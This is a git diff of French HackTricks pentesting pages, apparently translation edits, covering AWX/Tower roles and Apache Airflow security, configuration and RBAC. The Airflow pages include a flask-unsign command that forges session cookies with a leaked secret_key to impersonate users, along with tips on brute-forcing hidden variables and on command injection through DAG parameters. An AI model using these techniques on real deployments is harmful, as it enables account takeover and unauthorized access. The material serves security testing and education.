diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index df51db92d..bbb50385b 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -6,7 +6,7 @@
>
> Soutenir HackTricks
>
-> - Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
+> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
>
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index 0e883b739..87f7c4267 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -10,7 +10,7 @@
### Différences
-Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), les principales différences entre Ansible Tower et AWX sont le support reçu et Ansible Tower dispose de fonctionnalités supplémentaires telles que le contrôle d'accès basé sur les rôles, le support des API personnalisées et des flux de travail définis par l'utilisateur.
+Selon [**ceci**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), les principales différences entre Ansible Tower et AWX sont le support reçu et Ansible Tower dispose de fonctionnalités supplémentaires telles que le contrôle d'accès basé sur les rôles, le support des API personnalisées et des flux de travail définis par l'utilisateur.
### Stack technologique
@@ -39,10 +39,10 @@ Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-h
- Le Modèle de Tâche inclut des références à l'**Inventaire**, au **Projet** (contenant le playbook) et aux **Identifiants**.
- Lors de l'initiation de la tâche, une demande est envoyée au backend d'AWX/Tower pour mettre la tâche en file d'attente pour exécution.
3. **Mise en file d'attente de la tâche** :
- - **RabbitMQ** gère la messagerie entre le composant web et les exécuteurs de tâches. Une fois qu'une tâche est initiée, un message est envoyé au moteur de tâches via RabbitMQ.
+ - **RabbitMQ** gère la messagerie entre le composant web et les exécuteurs de tâches. Une fois qu'une tâche est initiée, un message est envoyé au moteur de tâches en utilisant RabbitMQ.
- **Redis** agit comme le backend pour la file d'attente des tâches, gérant les tâches mises en file d'attente en attente d'exécution.
4. **Exécution de la tâche** :
- - Le **Moteur de Tâches** prend la tâche mise en file d'attente. Il récupère les informations nécessaires de la **Base de données** concernant le playbook associé à la tâche, l'inventaire et les identifiants.
+ - Le **Moteur de Tâches** prend la tâche mise en file d'attente. Il récupère les informations nécessaires à partir de la **Base de données** concernant le playbook associé à la tâche, l'inventaire et les identifiants.
- En utilisant le playbook Ansible récupéré du **Projet** associé, le Moteur de Tâches exécute le playbook contre les nœuds de l'**Inventaire** spécifié en utilisant les **Identifiants** fournis.
- Au fur et à mesure que le playbook s'exécute, sa sortie d'exécution (journaux, faits, etc.) est capturée et stockée dans la **Base de données**.
5. **Résultats de la tâche** :
@@ -50,11 +50,11 @@ Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-h
- Les utilisateurs peuvent ensuite consulter les résultats via l'Interface Web ou les interroger via l'API REST.
- En fonction des résultats des tâches, des **Notifications** peuvent être envoyées pour informer les utilisateurs ou les systèmes externes de l'état de la tâche. Les notifications peuvent être des e-mails, des messages Slack, des webhooks, etc.
6. **Intégration avec des systèmes externes** :
- - Les **Inventaires** peuvent être dynamiquement récupérés à partir de systèmes externes, permettant à AWX/Tower de tirer des hôtes de sources telles que AWS, Azure, VMware, et plus encore.
+ - Les **Inventaires** peuvent être récupérés dynamiquement à partir de systèmes externes, permettant à AWX/Tower de tirer des hôtes de sources telles que AWS, Azure, VMware, et plus encore.
- Les **Projets** (playbooks) peuvent être récupérés à partir de systèmes de contrôle de version, garantissant l'utilisation de playbooks à jour lors de l'exécution des tâches.
- Les **Planificateurs et Rappels** peuvent être utilisés pour s'intégrer à d'autres systèmes ou outils, permettant à AWX/Tower de réagir à des déclencheurs externes ou d'exécuter des tâches à des moments prédéterminés.
-### Création d'un laboratoire AWX pour les tests
+### Création de laboratoire AWX pour les tests
[**Suivant la documentation**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md), il est possible d'utiliser docker-compose pour exécuter AWX :
```bash
@@ -94,43 +94,43 @@ D'un examen de **sécurité en boîte blanche**, vous auriez besoin du **rôle d
Développez ceci pour obtenir une description détaillée des rôles disponibles
-1. **Administrateur Système**:
+1. **Administrateur Système** :
- C'est le rôle de superutilisateur avec des permissions pour accéder et modifier n'importe quelle ressource dans le système.
- Ils peuvent gérer toutes les organisations, équipes, projets, inventaires, modèles de travail, etc.
-2. **Auditeur Système**:
+2. **Auditeur Système** :
- Les utilisateurs avec ce rôle peuvent voir toutes les données du système mais ne peuvent apporter aucune modification.
- Ce rôle est conçu pour la conformité et la supervision.
-3. **Rôles d'Organisation**:
-- **Admin**: Contrôle total sur les ressources de l'organisation.
-- **Auditeur**: Accès en lecture seule aux ressources de l'organisation.
-- **Membre**: Adhésion de base dans une organisation sans permissions spécifiques.
-- **Exécuter**: Peut exécuter des modèles de travail au sein de l'organisation.
-- **Lire**: Peut voir les ressources de l'organisation.
-4. **Rôles de Projet**:
-- **Admin**: Peut gérer et modifier le projet.
-- **Utiliser**: Peut utiliser le projet dans un modèle de travail.
-- **Mettre à jour**: Peut mettre à jour le projet en utilisant SCM (contrôle de version).
-5. **Rôles d'Inventaire**:
-- **Admin**: Peut gérer et modifier l'inventaire.
-- **Ad Hoc**: Peut exécuter des commandes ad hoc sur l'inventaire.
-- **Mettre à jour**: Peut mettre à jour la source de l'inventaire.
-- **Utiliser**: Peut utiliser l'inventaire dans un modèle de travail.
-- **Lire**: Accès en lecture seule.
-6. **Rôles de Modèle de Travail**:
-- **Admin**: Peut gérer et modifier le modèle de travail.
-- **Exécuter**: Peut exécuter le travail.
-- **Lire**: Accès en lecture seule.
-7. **Rôles de Credential**:
-- **Admin**: Peut gérer et modifier les identifiants.
-- **Utiliser**: Peut utiliser les identifiants dans des modèles de travail ou d'autres ressources pertinentes.
-- **Lire**: Accès en lecture seule.
-8. **Rôles d'Équipe**:
-- **Membre**: Partie de l'équipe mais sans permissions spécifiques.
-- **Admin**: Peut gérer les membres de l'équipe et les ressources associées.
-9. **Rôles de Workflow**:
-- **Admin**: Peut gérer et modifier le workflow.
-- **Exécuter**: Peut exécuter le workflow.
-- **Lire**: Accès en lecture seule.
+3. **Rôles d'Organisation** :
+- **Admin** : Contrôle total sur les ressources de l'organisation.
+- **Auditeur** : Accès en lecture seule aux ressources de l'organisation.
+- **Membre** : Adhésion de base à une organisation sans permissions spécifiques.
+- **Exécuter** : Peut exécuter des modèles de travail au sein de l'organisation.
+- **Lire** : Peut voir les ressources de l'organisation.
+4. **Rôles de Projet** :
+- **Admin** : Peut gérer et modifier le projet.
+- **Utiliser** : Peut utiliser le projet dans un modèle de travail.
+- **Mettre à jour** : Peut mettre à jour le projet en utilisant SCM (contrôle de version).
+5. **Rôles d'Inventaire** :
+- **Admin** : Peut gérer et modifier l'inventaire.
+- **Ad Hoc** : Peut exécuter des commandes ad hoc sur l'inventaire.
+- **Mettre à jour** : Peut mettre à jour la source de l'inventaire.
+- **Utiliser** : Peut utiliser l'inventaire dans un modèle de travail.
+- **Lire** : Accès en lecture seule.
+6. **Rôles de Modèle de Travail** :
+- **Admin** : Peut gérer et modifier le modèle de travail.
+- **Exécuter** : Peut exécuter le travail.
+- **Lire** : Accès en lecture seule.
+7. **Rôles de Credential** :
+- **Admin** : Peut gérer et modifier les identifiants.
+- **Utiliser** : Peut utiliser les identifiants dans des modèles de travail ou d'autres ressources pertinentes.
+- **Lire** : Accès en lecture seule.
+8. **Rôles d'Équipe** :
+- **Membre** : Partie de l'équipe mais sans permissions spécifiques.
+- **Admin** : Peut gérer les membres de l'équipe et les ressources associées.
+9. **Rôles de Workflow** :
+- **Admin** : Peut gérer et modifier le workflow.
+- **Exécuter** : Peut exécuter le workflow.
+- **Lire** : Accès en lecture seule.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md
index 7dff223b0..6f0510aa0 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/README.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/README.md
@@ -1,10 +1,10 @@
-# Apache Airflow Security
+# Sécurité d'Apache Airflow
{{#include ../../banners/hacktricks-training.md}}
### Informations de base
-[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de flux de travail**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de flux de travail de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et consommables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux au fonctionnement des applications de big data.
+[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de workflows**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de workflows de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et exploitables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux pour le fonctionnement des applications de big data.
En gros, Apache Airflow vous permettra de **planifier l'exécution de code lorsque quelque chose** (événement, cron) **se produit**.
@@ -48,10 +48,10 @@ airflow-rbac.md
Si vous avez **accès à la console web**, vous pourriez être en mesure d'accéder à certaines ou à toutes les informations suivantes :
-- **Variables** (Des informations sensibles personnalisées peuvent y être stockées)
-- **Connexions** (Des informations sensibles personnalisées peuvent y être stockées)
+- **Variables** (Des informations sensibles personnalisées peuvent être stockées ici)
+- **Connexions** (Des informations sensibles personnalisées peuvent être stockées ici)
- Accédez-y dans `http:///connection/list/`
-- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent y être stockées)
+- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent être stockées ici)
- Liste des **utilisateurs et rôles**
- **Code de chaque DAG** (qui peut contenir des informations intéressantes)
@@ -64,13 +64,13 @@ Airflow affichera par défaut la valeur de la variable dans l'interface graphiqu
Cependant, ces **valeurs** peuvent toujours être **récupérées** via **CLI** (vous devez avoir accès à la base de données), exécution de **DAG** arbitraire, **API** accédant au point de terminaison des variables (l'API doit être activée), et **même l'interface graphique elle-même !**\
Pour accéder à ces valeurs depuis l'interface graphique, il suffit de **sélectionner les variables** que vous souhaitez accéder et de **cliquer sur Actions -> Exporter**.\
-Une autre façon est d'effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez :
+Une autre méthode consiste à effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez :
.png>)
#### Escalade de Privilèges
-Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, on peut **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cela valide peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**.
+Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, il est possible de **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cette validité peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**.
```bash
flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
@@ -152,7 +152,7 @@ Lorsque vous exécutez un DAG depuis l'interface graphique, vous pouvez **passer
Par conséquent, si le DAG n'est pas correctement codé, il pourrait être **vulnérable à l'injection de commandes.**\
C'est ce qui s'est passé dans ce CVE : [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
-Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAG** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**.
+Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAGs** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**.
De plus, la même vulnérabilité pourrait se produire avec des **variables** (notez qu'avec suffisamment de privilèges, vous pourriez **contrôler la valeur des variables** dans l'interface graphique). Les variables sont **accessibles avec** :
```python
@@ -160,6 +160,6 @@ from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
-Si elles sont utilisées par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.
+S'ils sont utilisés par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index effebb2ca..42aee7dd8 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,4 +1,4 @@
-# Configuration d'Airflow
+# Configuration Airflow
{{#include ../../banners/hacktricks-training.md}}
@@ -10,21 +10,21 @@
Notez que les **valeurs à l'intérieur du fichier de config** **peuvent ne pas être celles utilisées**, car vous pouvez les écraser en définissant des variables d'environnement telles que `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
-Si vous avez accès au **fichier de config sur le serveur web**, vous pouvez vérifier la **vraie configuration en cours d'exécution** sur la même page où la config est affichée.\
+Si vous avez accès au **fichier de config sur le serveur web**, vous pouvez vérifier la **vraie configuration en cours** sur la même page où la config est affichée.\
Si vous avez **accès à une machine dans l'environnement airflow**, vérifiez l'**environnement**.
-Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier de config :
+Quelques valeurs intéressantes à vérifier lors de la lecture du fichier de config :
### \[api]
-- **`access_control_allow_headers`** : Cela indique les **en-têtes** **autorisés** pour **CORS**
+- **`access_control_allow_headers`** : Cela indique les **en-têtes autorisés** pour **CORS**
- **`access_control_allow_methods`** : Cela indique les **méthodes autorisées** pour **CORS**
- **`access_control_allow_origins`** : Cela indique les **origines autorisées** pour **CORS**
- **`auth_backend`** : [**Selon la documentation**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html), quelques options peuvent être mises en place pour configurer qui peut accéder à l'API :
- `airflow.api.auth.backend.deny_all` : **Par défaut, personne** ne peut accéder à l'API
- `airflow.api.auth.backend.default` : **Tout le monde peut** y accéder sans authentification
- `airflow.api.auth.backend.kerberos_auth` : Pour configurer **l'authentification kerberos**
-- `airflow.api.auth.backend.basic_auth` : Pour **l'authentification de base**
+- `airflow.api.auth.backend.basic_auth` : Pour **l'authentification basique**
- `airflow.composer.api.backend.composer_auth` : Utilise l'authentification des compositeurs (GCP) (depuis [**ici**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role` : Cela indique le **rôle** que l'**utilisateur compositeur** obtiendra dans **airflow** (**Op** par défaut).
- Vous pouvez également **créer votre propre méthode d'authentification** avec python.
@@ -47,7 +47,7 @@ Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier
- **`dag_discovery_safe_mode`** : Activé par défaut. Lors de la découverte des DAGs, ignorez tous les fichiers qui ne contiennent pas les chaînes `DAG` et `airflow`.
- **`fernet_key`** : Clé pour stocker des variables chiffrées (symétrique)
-- **`hide_sensitive_var_conn_fields`** : Activé par défaut, masque les informations sensibles des connexions.
+- **`hide_sensitive_var_conn_fields`** : Activé par défaut, cache les informations sensibles des connexions.
- **`security`** : Quel module de sécurité utiliser (par exemple kerberos)
### \[dask]
@@ -80,7 +80,7 @@ Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier
- **`cookie_samesite`** : Par défaut, c'est **Lax**, donc c'est déjà la valeur la plus faible possible
- **`cookie_secure`** : Définir le **drapeau sécurisé** sur le cookie de session
- **`expose_config`** : Par défaut, c'est Faux, si vrai, la **config** peut être **lue** depuis la **console** web
-- **`expose_stacktrace`** : Par défaut, c'est Vrai, cela affichera les **tracebacks python** (potentiellement utile pour un attaquant)
+- **`expose_stacktrace`** : Par défaut, c'est Vrai, cela affichera les **tracebacks python** (potentiellement utiles pour un attaquant)
- **`secret_key`** : C'est la **clé utilisée par flask pour signer les cookies** (si vous avez cela, vous pouvez **usurper l'identité de n'importe quel utilisateur dans Airflow**)
- **`web_server_ssl_cert`** : **Chemin** vers le **certificat** **SSL**
- **`web_server_ssl_key`** : **Chemin** vers la **clé** **SSL**
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index dba5911e0..d2b742e3c 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,7 +4,7 @@
## RBAC
-(Depuis la documentation)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow est livré avec un **ensemble de rôles par défaut** : **Admin**, **User**, **Op**, **Viewer**, et **Public**. **Seuls les utilisateurs `Admin`** peuvent **configurer/alterer les permissions pour d'autres rôles**. Mais il n'est pas recommandé que les utilisateurs `Admin` modifient ces rôles par défaut de quelque manière que ce soit en supprimant ou en ajoutant des permissions à ces rôles.
+(Des docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow est livré avec un **ensemble de rôles par défaut** : **Admin**, **User**, **Op**, **Viewer**, et **Public**. **Seuls les utilisateurs `Admin`** peuvent **configurer/modifier les permissions pour d'autres rôles**. Mais il n'est pas recommandé que les utilisateurs `Admin` modifient ces rôles par défaut de quelque manière que ce soit en supprimant ou en ajoutant des permissions à ces rôles.
- **Les utilisateurs `Admin`** ont toutes les permissions possibles.
- **Les utilisateurs `Public`** (anonymes) n'ont aucune permission.
@@ -22,19 +22,19 @@ Voici les permissions par défaut par rôle par défaut :
- **Admin**
-\[peut supprimer sur les Connections, peut lire sur les Connections, peut éditer sur les Connections, peut créer sur les Connections, peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut supprimer sur les Pools, peut lire sur les Pools, peut éditer sur les Pools, peut créer sur les Pools, peut lire sur les Providers, peut supprimer sur les Variables, peut lire sur les Variables, peut éditer sur les Variables, peut créer sur les Variables, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Configurations, peut lire sur les Plugins, peut lire sur les Rôles, peut lire sur les Permissions, peut supprimer sur les Rôles, peut éditer sur les Rôles, peut créer sur les Rôles, peut lire sur les Utilisateurs, peut créer sur les Utilisateurs, peut éditer sur les Utilisateurs, peut supprimer sur les Utilisateurs, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances, accès au menu sur Admin, accès au menu sur les Configurations, accès au menu sur les Connections, accès au menu sur les Pools, accès au menu sur les Variables, accès au menu sur les XComs, peut supprimer sur les XComs, peut lire sur les Replanifications des Tâches, accès au menu sur les Replanifications des Tâches, peut lire sur les Déclencheurs, accès au menu sur les Déclencheurs, peut lire sur les Mots de Passe, peut éditer sur les Mots de Passe, accès au menu sur Lister les Utilisateurs, accès au menu sur Sécurité, accès au menu sur Lister les Rôles, peut lire sur le Graphique des Statistiques des Utilisateurs, accès au menu sur les Statistiques des Utilisateurs, accès au menu sur les Permissions de Base, peut lire sur les Menus de Vue, accès au menu sur les Vues/Menus, peut lire sur les Vues de Permission, accès au menu sur la Permission sur les Vues/Menus, peut obtenir sur MenuApi, accès au menu sur les Providers, peut créer sur les XComs]
+\[peut supprimer sur Connections, peut lire sur Connections, peut éditer sur Connections, peut créer sur Connections, peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut supprimer sur Pools, peut lire sur Pools, peut éditer sur Pools, peut créer sur Pools, peut lire sur Providers, peut supprimer sur Variables, peut lire sur Variables, peut éditer sur Variables, peut créer sur Variables, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Configurations, peut lire sur Plugins, peut lire sur Roles, peut lire sur Permissions, peut supprimer sur Roles, peut éditer sur Roles, peut créer sur Roles, peut lire sur Users, peut créer sur Users, peut éditer sur Users, peut supprimer sur Users, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances, accès au menu sur Admin, accès au menu sur Configurations, accès au menu sur Connections, accès au menu sur Pools, accès au menu sur Variables, accès au menu sur XComs, peut supprimer sur XComs, peut lire sur Task Reschedules, accès au menu sur Task Reschedules, peut lire sur Triggers, accès au menu sur Triggers, peut lire sur Passwords, peut éditer sur Passwords, accès au menu sur List Users, accès au menu sur Security, accès au menu sur List Roles, peut lire sur User Stats Chart, accès au menu sur User's Statistics, accès au menu sur Base Permissions, peut lire sur View Menus, accès au menu sur Views/Menus, peut lire sur Permission Views, accès au menu sur Permission on Views/Menus, peut obtenir sur MenuApi, accès au menu sur Providers, peut créer sur XComs]
- **Op**
-\[peut supprimer sur les Connections, peut lire sur les Connections, peut éditer sur les Connections, peut créer sur les Connections, peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut supprimer sur les Pools, peut lire sur les Pools, peut éditer sur les Pools, peut créer sur les Pools, peut lire sur les Providers, peut supprimer sur les Variables, peut lire sur les Variables, peut éditer sur les Variables, peut créer sur les Variables, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Configurations, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances, accès au menu sur Admin, accès au menu sur les Configurations, accès au menu sur les Connections, accès au menu sur les Pools, accès au menu sur les Variables, accès au menu sur les XComs, peut supprimer sur les XComs]
+\[peut supprimer sur Connections, peut lire sur Connections, peut éditer sur Connections, peut créer sur Connections, peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut supprimer sur Pools, peut lire sur Pools, peut éditer sur Pools, peut créer sur Pools, peut lire sur Providers, peut supprimer sur Variables, peut lire sur Variables, peut éditer sur Variables, peut créer sur Variables, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Configurations, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances, accès au menu sur Admin, accès au menu sur Configurations, accès au menu sur Connections, accès au menu sur Pools, accès au menu sur Variables, accès au menu sur XComs, peut supprimer sur XComs]
- **User**
-\[peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances]
+\[peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances]
- **Viewer**
-\[peut lire sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut lire sur les Audit Logs, peut lire sur ImportError, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances]
+\[peut lire sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut lire sur Audit Logs, peut lire sur ImportError, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances]
- **Public**
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index 997d78434..f3047f48e 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -2,25 +2,25 @@
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Informations de base
-Atlantis aide essentiellement à exécuter terraform à partir des Pull Requests de votre serveur git.
